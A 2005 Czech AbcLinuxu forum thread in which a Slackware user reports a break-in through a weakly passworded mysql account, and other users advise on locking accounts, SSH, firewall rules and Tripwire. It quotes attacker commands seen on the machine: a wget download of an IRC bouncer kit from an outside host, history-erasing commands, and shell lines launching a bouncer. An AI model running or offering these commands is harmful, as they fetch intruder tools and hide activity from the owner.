Portál AbcLinuxu, 26. dubna 2024 17:18


Dotaz: napadení počítače

17.4.2005 13:14 noone | skóre: 7 | blog: xdf
napadení počítače
Přečteno: 453×
Odpovědět | Admin
Dobrý den!

Používám Slackware 10.0.
Jádro distribuční s jedinou drobnou úpravou.
Většina software pochází z distribučních balíčků, ale mám i nějaké kompilované ze zdrojových kódů a předkompilované z http://linuxpackages.net/.

Včera večer jsem pracoval na počítači a zůstal jsem připojený k internetu i přes to, že jsem nic nestahoval ani nikde nebrouzdal. Mám externí modem, a tak slyším každý přenos dat. Asi po hodině ticha najednou začal modem pracovat (typické skřípění, nebo šumění z reproduktoru modemu). Když jsem si toho po chvíli všiml, začal jsem pátrat po tom, co je tomu příčinou. Nejprve mě napadl poštovní klient, ale nebyl spuštěný. Spustil jsem tcpdump a odchytil nějaké spojení na adresu http://sigma.hostingfacile.net/. Dalším krokem bylo spuštění ps aux kde jsem ve výpisu našel přihlášeného uživatele mysql. Vzhledem k tomu, že počítač využívám sám a MySql jako službu mám vypnutou, byla pro mě návštěva uživatele mysql opravdovým překvapením. Při dalším výpisu ps aux už na mě "vybafl" uživatel mysql připojený hned několikrát. A co víc! Jeden z jeho procesů byl wget -c http://sufletl.home.ro/psy.tgz. A to byl právě ten okamžik, kdy jsem s velkou silou vytrhl kabel z modemu.

Po odpojení jsem chvíli přemýšlel a vydal jsem se na průzkum napáchaných škod. Nejprve do /etc/passwd, kde jsem objevil toto:

mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
Myslím, že by tam neměl být ten shell, ale jistý si nejsem.

Přihlásil jsem se jako uživatel mysql a hledal v domovském adresáři /var/lib/mysql soubor .bash_history, ale kromě mých databází tam nic nebylo. Že by něco takového?:

unset HISTFILE
unset HISTSAVE
history -n
unset WATCH
export HISTFILE=/dev/null

Smazal jsem uživatele mysql a připojil k internetu a za neustálého kontrolování přenosu jsem stáhl inkriminovaný soubor psy.tgz. Myslel jsem, kdovíco najdu, ale jde o celkem běžný soft. Trochu googlu a našel jsem tohle. Po přečtení reakcí jsem narazil na exploit, ale z toho nejsem dvakrát moudrý.

Taky jsem proběhl všechny tmp adresáře a ve /var/tmp/ jsme objevil adresář .bash, který odpovídá obsahu psy.tgz. Je s podivem, že tam byl celý když jsem viděl jak se stahuje... leda bych připojení ukončil těsně po stažení.

Otázky zní:
Jak získal útočník přístup do mého počítače?
Jak tomu napříště zabránit?
Jaké kroky podniknout?
Stala by se to, i kdybych použil pouze distribuční software - chyba v zabezpečení software třetích stran?
Co jsem zanedbal?
Jak jsou na tom jiné distribuce? Mandrake?
Co si o tom myslíte?

Jistě je pravdou, že správný administrátor systému by situaci neměl nechat dojít až do tohoto stavu a měl by ji předcházet. Především pravidelnou aktualizací a bezpečnostními záplatami. Stalo se.
Připojuji se teď k internetu s velkou opatrností, spouštím okamžitě tcpdump a neustále kontroluji spuštěné procesy. A to rozhodně není nic příjemného. Budu rád, podělíte-li se se mnou o své zkušenosti, nápady a rady.

Nástroje: Začni sledovat (3) ?Zašle upozornění na váš email při vložení nového komentáře.

Odpovědi

marulinko avatar 17.4.2005 13:22 marulinko | skóre: 12 | blog: Technohead
Rozbalit Rozbalit vše Re: napadení počítače
Odpovědět | | Sbalit | Link | Blokovat | Admin
mam tiez slackware 10 a toto mam rovnake: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash ten zbytok je fakt divny
17.4.2005 13:26 funny | skóre: 11 | Prachatice, Plzeň
Rozbalit Rozbalit vše Re: napadení počítače
Odpovědět | | Sbalit | Link | Blokovat | Admin
Zkus se jich zeptat. :-)

Tohle mi vrátil whois.enom.com:
Domain name: hostingfacile.net

Registrant Contact:
   Eurologon S.r.l.
   Enzo Baiotto (domains@eurologon.com)
   +39.0119473512
   Fax: +39 011 9409691
   Via Roma 30
   Trofarello, TO 10028
   IT

Administrative Contact:
   Eurologon S.r.l.
   Enzo Baiotto (hostmaster@eurologon.com)
   +39.0119473512
   Fax: +39.0115503318
   Via Roma 30
   Trofarello, TO 10028
   IT

Billing Contact:
   Eurologon S.r.l.
   Enzo Baiotto (hostmaster@eurologon.com)
   +39.0119473512
   Fax: +39.0115503318
   Via Roma 30
   Trofarello, TO 10028
   IT

Technical Contact:
   Eurologon S.r.l.
   Enzo Baiotto (hostmaster@eurologon.com)
   +39.0119473512
   Fax: +39.0115503318
   Via Roma 30
   Trofarello, TO 10028
   IT

Status: Locked

Name Servers:
   ns1.hostingfacile.net
   ns2.hostingfacile.net
   
Creation date: 18 Apr 2002 16:38:18
Expiration date: 18 Apr 2006 16:38:18
17.4.2005 13:33 jm
Rozbalit Rozbalit vše Re: napadení počítače
Odpovědět | | Sbalit | Link | Blokovat | Admin
ori..
bash
export PATH="."
httpd
exit
port-ul bouncerului este 50001 ..
#HackTeam rullez...! 
No, spust si tam chkrootkit a rkhunter a uvidis sam... :-)
18.4.2005 20:32 noone | skóre: 7 | blog: xdf
Rozbalit Rozbalit vše Re: napadení počítače
Rkhunter ani Chkrootkit v aktuálních verzích skoro nic nenašly, jen drobné věci.
Apache 1.3.31    [ Vulnerable ]
PHP 4.3.7        [ Vulnerable ]
Checking for allowed protocols...  [ Warning (SSH v1 allowed) ]
To jsem opravil...
17.4.2005 13:55 Lucka | skóre: 14
Rozbalit Rozbalit vše Re: napadení počítače
Odpovědět | | Sbalit | Link | Blokovat | Admin
Ahoj

no to máš jednoduchý, do nezabezpečeného systému se lze dostat mnoha způsoby a jedním z nich je i použití tzv. exploitu (který si zde uvedl) u tebe použil tzv local root attach - což máš že se k tobě naloguje třeba jako výše zmíněný mysgl user a stáhne k tobě exploit. Přeloží ho a po spuštění se staně rootem - no a pak už nemusím dále vysvětlovat. Asi používáš jaderné vybavení 2.2.x nebo 2.4.x jinak by to u tebe nefachalo (Should work under all current 2.2.x and 2.4.x kernels.) a nebo jen tak zkoušel co půjde.

A obrana ? Stínová hesla - ale to je všude základ,a taky bych auditovala integritu souborů viz zaměř se na tripware a když k tomu přidáš ještě nějaká ta pravidla v iptables tak budeš nedotkutelný...))

Sama vím (protože se o tuhle oblast dost zajímám) že je velmi jednoduché si seskenovat určitý rozsah ip, pak rozdělit na Linux nebo Windows os a zjištění co nejvíce info, na vítězné pc se pak vybere (v rozsáhlých databázích exploitů na netu) jeden který udělá to co chceme a tak to jde až do konce. Pokud se navíc rochu vyznáš ve zdrojáku tak si ho upravíš jak chceš.

Takže Tripwire,povýšení práv,shadow passw a fw a nebo schovej se za router s NATováním :)) Jednoduché ale velmi účinné :))
18.4.2005 20:14 noone | skóre: 7 | blog: xdf
Rozbalit Rozbalit vše Re: napadení počítače
Ahoj Lucko!
Děkuji za reakci.

Ano, používám jádro 2.4.x.
Stínová hesla - shadowing používám.
Iptables jsem nastavil takhle, snad to jako základ stačí:

iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
iptables -A INPUT -i ! ppp+ -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -j LOG --log-prefix "INPUT drop: "
Tripwire jsem naistaloval, ale něco je špatně:
Please enter your local passphrase: 
Parsing policy file: /etc/tripwire/tw.pol
Generating the database...
*** Processing Unix File System ***
Software interrupt forced exit: Segmentation Fault
Verze Tripwire:
Tripwire(R) 2.3.0.47 for Linux
Nerozumím co znamená "povýšení práv".
17.4.2005 15:58 Andrei Badea | skóre: 5 | Praha
Rozbalit Rozbalit vše Re: napadení počítače
Odpovědět | | Sbalit | Link | Blokovat | Admin
> Jak získal útočník přístup do mého počítače?

Vypada to, ze se prihlasil na uzivatele mysql, ktery nemel zamceny ucet a mel (trivialni|zname|zadne) heslo.

> Jak tomu napříště zabránit?

Pokud se prihlasujete pouze pres modem, SSH asi nepotrebujete, tak ho vypnete (doufam, ze telnet zapnuty nemate). Nebo (pokud na nem trvate) si zapnete autentizaci pomoci klicu a vypnete jine zpusoby (treba heslem). Budete pak mit jistotu, ze se prihlasi pouze ten, kdo ma klic. Dale samozrejme vypnete vsechny programy, ktere nepotrebujete, a dobre (ctete paranoidne) nastavte firewall. Pokud Vas pocitac neni server, asi jediny port ktery potrebujete otevreny je 53/udp (pro DNS dotazy), a to jen pro DNS server Vaseho poskytovatele.

> Jak jsou na tom jiné distribuce? Mandrake?

Jak je na tom Mandrake nevim, ale na mem Debianu unstable:

$ ssh mysql@farpoint

z vzdaleneho pocitace se samozrejme nepovedlo a zpusobilo tuto hlasku do /var/log/auth.log:

Apr 17 15:21:09 farpoint sshd[4048]: User mysql not allowed because account is locked
Heureux qui, comme Ulysse, a fait un beau voyage.
18.4.2005 21:10 noone | skóre: 7 | blog: xdf
Rozbalit Rozbalit vše Re: napadení počítače
Dobrý den,
pravděpodobně šlo o triviální heslo pro uživatele mysql, což jsem už upravil.

SSH potřebuji. Jaký význam má zakázat přístup rootovi přes ssh, když se může přilásit běžný uživatel a použít su root? Přihlašování pomocí klíčů je možná příliš, bude stačit dostatečně silné heslo. Telnet zapnutý nemám.

Firewall jsem nastavil viz. výše. Nevím však, jestli je to dost paranoidně.

Josef Kufner avatar 18.4.2005 22:33 Josef Kufner | skóre: 70
Rozbalit Rozbalit vše Re: napadení počítače
Na to, aby se prihlasil musi znat uzivatelovo jmeno a heslo, coz je dalsi prekazka. Navic zvenci neni poznat, ze se na roota neda prihlasit, takze je velka sance, ze utocnik bude plytvat strojovym casem na zbytecnych pokusech...
Hello world ! Segmentation fault (core dumped)
18.4.2005 23:05 Andrei Badea | skóre: 5 | Praha
Rozbalit Rozbalit vše Re: napadení počítače
Přihlašování pomocí klíčů je možná příliš, bude stačit dostatečně silné heslo.
Je to Vas nazor, nebudu Vam ho brat. Muzete ale zarucit, ze vsechny nezamcene ucty na tom pocitaci budou mit dostatecne silna hesla?
Jaký význam má zakázat přístup rootovi přes ssh, když se může přilásit běžný uživatel a použít su root?
Da se nastavit, ze su root muze pouzit pouze pokud ucet, ze ktereho tak cini, je ve skupine wheel. A treba ucet, pod kterym se utocnik prihlasi, ve wheel nebude.
Firewall jsem nastavil viz. výše. Nevím však, jestli je to dost paranoidně.
Podle me ano (predpokladam, ze conntrack pouzivate, jinak RELATED tam je zbytecne). Jedna poznamka, lepsi nez:
iptables -A INPUT -i ! ppp+ -j ACCEPT
je:
iptables -A INPUT -i lo -j ACCEPT
Proc povolovat pristup ze vsech rozhrani krome ppp, kdyz ve skutecnosti jedine co potrebujete je pristup z lo? I pokud tam mate eth rozhrani pripojene k siti, ktere duverujete, je vzdy lepsi to uvest explicitne nez povolovat pausalne.
Heureux qui, comme Ulysse, a fait un beau voyage.
18.4.2005 10:55 David Jež | skóre: 42 | blog: -djz | Brno
Rozbalit Rozbalit vše Re: napadení počítače
Odpovědět | | Sbalit | Link | Blokovat | Admin
Zdravim,
Co se tyce ostatnich distribuci tak si myslim, ze by se ti podobna akce stala v jakemkoliv jinem systemu jen by to byla otazka casu. Co tedy s tim? Zakladem je porozumet systemu, neinstalovat a nepoustet kazdou kravinu a pokud uz neco pustis tak bys mel vedet proc to delas a jak co nejvice omezit pripadne moznosti napadeni. Dale sleduj adresar patches a pouzivej opravy, na 10.0 uz par oprav bylo. A zase si nemysli, ze se to stalo jenom proto, ze mas jadro 2.4 ze s jinym by se to nestalo. Zaklad je ten, ze se ti do systemu nema kdo co dostavat, dal uz je to jedno, tentokrat pouzil tuto konkretni chybu, na 2.6 by mohl zase pouzit treba neco jineho. Projdi si tedy svou instalaci jestli potrebujes opravdu vsechno co jsi nainstaloval, hlavne zkontroluj suidove veci a demony co bezi pod rootem jestli jsou opravdu nutne a jestli by je neslo zrusit, zrus poslouchajici sluzby. Sleduj opravy systemu a hlavne nepodlehej bludu, ze snad neco vsemocne vyresi problemy za tebe a ze firewall je vrchol bezpecnosti a nemusis hnout prstem. Naopak, nevyresi. Zabezpeceni systemu neni jednorazova akce a hastala vista, ale beh na dlouhe trati bez konce, ktery muzes jedine vzdat nebo prohrat. Ale zbyva ti akorat porad bezet.
-djz
"Yield to temptation; it may not pass your way again." -- R. A. Heinlein
18.4.2005 23:28 noone | skóre: 7 | blog: xdf
Rozbalit Rozbalit vše Re: napadení počítače
Ahoj!

Chyba byla nejspíš právě ve slabém hesle uživatele mysql a ta se mohla stát na kterékoliv distribuci. Rozhodně neinstaluji a nespouštím každou kravinu, právě naopak, snažím se minimalizovat instalovaný software.

Přestože problém nebyl zapříčiněn chybou, která mohla být zazáplatována, budu teď ale sledovat adresář patches pečlivěji. Po průniku do neopatchovného systému by měl rozhodně útočník jednodušší prácí např. s výběrem exploitu.

Jádra 2.4.x patří "bezpečnějším" vzhledem k jejich konzervativnímu přístupu k zařazování nových fičurek.

Zřejmě jsem se nechal příjemně ukolébat představou bezpečnosti a nevěnoval jsem ji takovou pozornost jakou by si zasloužila.

19.4.2005 16:37 David Jež | skóre: 42 | blog: -djz | Brno
Rozbalit Rozbalit vše Re: napadení počítače
Ad minimalizace: to je jedine dobre, jen tak dal :-). S jadry je to plus minus, ale na 2.4 je mene chyb.

Patche je rozhodne zaklad sledovat, ne vzdy se musi opravovat jenom sploitovatelne veci pro ziskani roota, ale sem tam se muze resit i potencialni utok na vzdaleny pristup.

Nevadi, mas uz alespon pouceni pro priste. Klice zase nejsou tak paranoidni jak se zdaji naopak je to dobra vec. Jinak opravdu to chce premyslet a domyslet do vsech detailu co se muze stat a co vsechno priskrtit abys co nejvice snizil moznost pruniku. S tim hodne stesti.
-djz

"Yield to temptation; it may not pass your way again." -- R. A. Heinlein

Založit nové vláknoNahoru

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.